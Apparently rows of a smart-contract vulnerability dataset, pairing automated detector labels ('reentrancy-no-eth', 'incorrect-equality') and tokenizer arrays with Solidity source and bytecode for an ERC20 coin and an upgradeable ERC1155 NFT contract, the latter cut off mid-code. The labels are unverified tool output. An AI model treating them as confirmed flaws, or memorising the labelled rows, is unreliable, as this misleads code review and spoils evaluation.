{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 22407, 2620, 21057, 2575, 2546, 2509, 2050, 21619, 2509, 2063, 2683, 2620, 2497, 2692, 28154, 2629, 2050, 2683, 11387, 2629, 2546, 2629, 2278, 2683, 2063, 21486, 2063, 2683, 2050, 2509, 2278, 2487, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 8278, 3207, 8557, 2705, 1063, 22017, 2140, 2270, 2208, 7840, 1025, 22017, 2140, 2270, 2208, 7840, 3762, 20330, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 2542, 6342, 9397, 2135, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4152, 12259, 1006, 21318, 3372, 17788, 2575, 1035, 8909, 1007, 2270, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 2131, 14528, 1006, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,065
0x962936f6ec6ea36e3faae07bfa4553122e682fc1
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/PuppetCoin.sol pragma solidity >=0.8.0 <0.9.0; contract PuppetCoin is ERC20 { address owner; constructor() ERC20("Puppet Coin","PUPPET") { owner = msg.sender; _mint(owner, 18000000 * 10 ** 18); } modifier isOwner() { require(msg.sender == owner, "Caller is not owner"); _; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e45565b60405180910390f35b6100e660048036038101906100e19190610c8f565b610308565b6040516100f39190610e2a565b60405180910390f35b610104610326565b6040516101119190610f47565b60405180910390f35b610134600480360381019061012f9190610c3c565b610330565b6040516101419190610e2a565b60405180910390f35b610152610428565b60405161015f9190610f62565b60405180910390f35b610182600480360381019061017d9190610c8f565b610431565b60405161018f9190610e2a565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf9190610f47565b60405180910390f35b6101d0610525565b6040516101dd9190610e45565b60405180910390f35b61020060048036038101906101fb9190610c8f565b6105b7565b60405161020d9190610e2a565b60405180910390f35b610230600480360381019061022b9190610c8f565b6106a2565b60405161023d9190610e2a565b60405180910390f35b610260600480360381019061025b9190610bfc565b6106c0565b60405161026d9190610f47565b60405180910390f35b60606003805461028590611077565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611077565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f99565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611077565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611077565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f27565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610f07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e87565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f47565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ee7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e67565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610ea7565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f99565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f47565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb481611346565b92915050565b600081359050610bc98161135d565b92915050565b600060208284031215610be557610be4611107565b5b6000610bf384828501610ba5565b91505092915050565b60008060408385031215610c1357610c12611107565b5b6000610c2185828601610ba5565b9250506020610c3285828601610ba5565b9150509250929050565b600080600060608486031215610c5557610c54611107565b5b6000610c6386828701610ba5565b9350506020610c7486828701610ba5565b9250506040610c8586828701610bba565b9150509250925092565b60008060408385031215610ca657610ca5611107565b5b6000610cb485828601610ba5565b9250506020610cc585828601610bba565b9150509250929050565b610cd881611001565b82525050565b6000610ce982610f7d565b610cf38185610f88565b9350610d03818560208601611044565b610d0c8161110c565b840191505092915050565b6000610d24602383610f88565b9150610d2f8261111d565b604082019050919050565b6000610d47602283610f88565b9150610d528261116c565b604082019050919050565b6000610d6a602683610f88565b9150610d75826111bb565b604082019050919050565b6000610d8d602883610f88565b9150610d988261120a565b604082019050919050565b6000610db0602583610f88565b9150610dbb82611259565b604082019050919050565b6000610dd3602483610f88565b9150610dde826112a8565b604082019050919050565b6000610df6602583610f88565b9150610e01826112f7565b604082019050919050565b610e158161102d565b82525050565b610e2481611037565b82525050565b6000602082019050610e3f6000830184610ccf565b92915050565b60006020820190508181036000830152610e5f8184610cde565b905092915050565b60006020820190508181036000830152610e8081610d17565b9050919050565b60006020820190508181036000830152610ea081610d3a565b9050919050565b60006020820190508181036000830152610ec081610d5d565b9050919050565b60006020820190508181036000830152610ee081610d80565b9050919050565b60006020820190508181036000830152610f0081610da3565b9050919050565b60006020820190508181036000830152610f2081610dc6565b9050919050565b60006020820190508181036000830152610f4081610de9565b9050919050565b6000602082019050610f5c6000830184610e0c565b92915050565b6000602082019050610f776000830184610e1b565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610fa48261102d565b9150610faf8361102d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fe457610fe36110a9565b5b828201905092915050565b6000610ffa8261100d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611062578082015181840152602081019050611047565b83811115611071576000848401525b50505050565b6000600282049050600182168061108f57607f821691505b602082108114156110a3576110a26110d8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61134f81610fef565b811461135a57600080fd5b50565b6113668161102d565b811461137157600080fd5b5056fea2646970667358221220de5a6e24dd8c3b7fb72ebe3f606eeed51fdc4260b01dad8349ad9575199b8a6d64736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 24594, 21619, 2546, 2575, 8586, 2575, 5243, 21619, 2063, 2509, 7011, 6679, 2692, 2581, 29292, 2050, 19961, 22275, 12521, 2475, 2063, 2575, 2620, 2475, 11329, 2487, 1013, 1013, 5371, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 1058, 2549, 1012, 1017, 1012, 1016, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,066
0x96296C46d679F6a3330A5ABa1249E43d726628A7
// SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/EnumerableMapUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "../interfaces/IWhitelist.sol"; import "../interfaces/IRoyaltyAwareNFT.sol"; /// @title BaseEnigmaNFT1155 /// /// @dev This contract is a ERC1155 burnable and upgradable based in openZeppelin v3.4.0. /// Be careful when upgrade, you must respect the same storage. abstract contract BaseEnigmaNFT1155 is IRoyaltyAwareNFT, ERC1155BurnableUpgradeable, OwnableUpgradeable { using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap; using StringsUpgradeable for uint256; /* Storage */ //mapping from token ID to account balances mapping(uint256 => address) private creators; //mapping for token royaltyFee mapping(uint256 => uint256) private _royaltyFee; //mapping for token URIs mapping(uint256 => string) private _tokenURIs; //mapping for token owners EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners; //tokens base uri string public tokenURIPrefix; string private _name; string private _symbol; //token id counter, increase by 1 for each new mint uint256 public newItemId; //whitelist with logic to allow token transfers IWhitelist public whitelist; /* events */ event TokenBaseURI(string value); /* functions */ /** * @notice Initialize NFT1155 contract. * * @param name_ the token name * @param symbol_ the token symbol * @param tokenURIPrefix_ the toke base uri */ function initialize( string memory name_, string memory symbol_, string memory tokenURIPrefix_ ) external initializer { __ERC1155_init(tokenURIPrefix_); __ERC1155Burnable_init(); __Ownable_init(); _name = name_; _symbol = symbol_; newItemId = 1; _setTokenURIPrefix(tokenURIPrefix_); } /// oz-upgrades-unsafe-allow constructor // solhint-disable-next-line constructor() initializer {} function name() external view virtual returns (string memory) { return _name; } function symbol() external view virtual returns (string memory) { return _symbol; } /** * @notice Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId_ uint256 ID of the token to set its URI * @param uri_ string URI to assign */ function _setTokenURI(uint256 tokenId_, string memory uri_) internal { _tokenURIs[tokenId_] = uri_; } /** * @notice Get the royalty associated with tokenID. * @param tokenId ID of the Token. * @return royaltyFee of given ID. */ function royaltyFee(uint256 tokenId) external view virtual override returns (uint256) { return _royaltyFee[tokenId]; } /** * @notice Get the creator of given tokenID. * @param tokenId ID of the Token. * @return creator of given ID. */ function getCreator(uint256 tokenId) external view virtual override returns (address) { return creators[tokenId]; } /** * @dev Internal function to set the token URI for all the tokens. * @param _tokenURIPrefix string memory _tokenURIPrefix of the tokens. */ function _setTokenURIPrefix(string memory _tokenURIPrefix) internal { tokenURIPrefix = _tokenURIPrefix; emit TokenBaseURI(_tokenURIPrefix); } /** * @dev Returns an URI for a given token ID. * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) public view virtual returns (string memory) { require(_exists(tokenId), "ERC1155Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = tokenURIPrefix; if (bytes(base).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view override returns (string memory) { return tokenURI(id); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @notice Get the balance of an account's Tokens. * @param account The address of the token holder * @param tokenId ID of the Token * @return The owner's balance of the Token type requested */ function balanceOf(address account, uint256 tokenId) public view override returns (uint256) { require(_exists(tokenId), "ERC1155Metadata: balance query for nonexistent token"); return super.balanceOf(account, tokenId); } /** * @notice call transfer fucntion after check whitelist allowance */ function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public virtual override { if (from != _msgSender()) { // Check that the calling account has the transfer role require(whitelist.canTransfer(msg.sender), "Transfer not approved"); } super.safeTransferFrom(from, to, tokenId, amount, data); } /** * @notice call transfer fucntion after check whitelist allowance */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { if (from != _msgSender()) { // Check that the calling account has the transfer role require(whitelist.canTransfer(msg.sender), "Transfer not approved"); } super.safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param tokenId_ uint256 ID of the token to be minted * @param supply_ uint256 supply of the token to be minted * @param uri_ string memory URI of the token to be minted * @param fee_ uint256 royalty of the token to be minted */ function _mint( uint256 tokenId_, uint256 supply_, string memory uri_, uint256 fee_ ) internal { require(!_exists(tokenId_), "ERC1155: token already minted"); require(supply_ != 0, "Supply should be positive"); require(bytes(uri_).length > 0, "uri should be set"); creators[tokenId_] = msg.sender; require(_tokenOwners.set(tokenId_, msg.sender), "ERC1155: token already minted"); _royaltyFee[tokenId_] = fee_; _setTokenURI(tokenId_, uri_); emit URI(uri_, tokenId_); super._mint(msg.sender, tokenId_, supply_, ""); } /** * @notice call burn function after check that token exists */ function _burn( address account, uint256 tokenId, uint256 amount ) internal virtual override { require(_exists(tokenId), "ERC1155Metadata: burn query for nonexistent token"); super._burn(account, tokenId, amount); } /** * @notice burn tokens to msg.sender */ function burn(uint256 tokenId, uint256 amount) external { _burn(msg.sender, tokenId, amount); } /** * @dev external function to set the token URI for all the tokens. * @param baseURI_ string memory _tokenURIPrefix of the tokens. */ function setBaseURI(string memory baseURI_) external onlyOwner { _setTokenURIPrefix(baseURI_); } /** * @notice Set a whitelist with the logic to allow transfer NFTs * * @param _whitelist The whitelist contract address */ function setWhitelist(IWhitelist _whitelist) external onlyOwner { whitelist = _whitelist; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC1155Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155BurnableUpgradeable is Initializable, ERC1155Upgradeable { function __ERC1155Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC1155Burnable_init_unchained(); } function __ERC1155Burnable_init_unchained() internal initializer { } function burn(address account, uint256 id, uint256 value) public virtual { require( account == 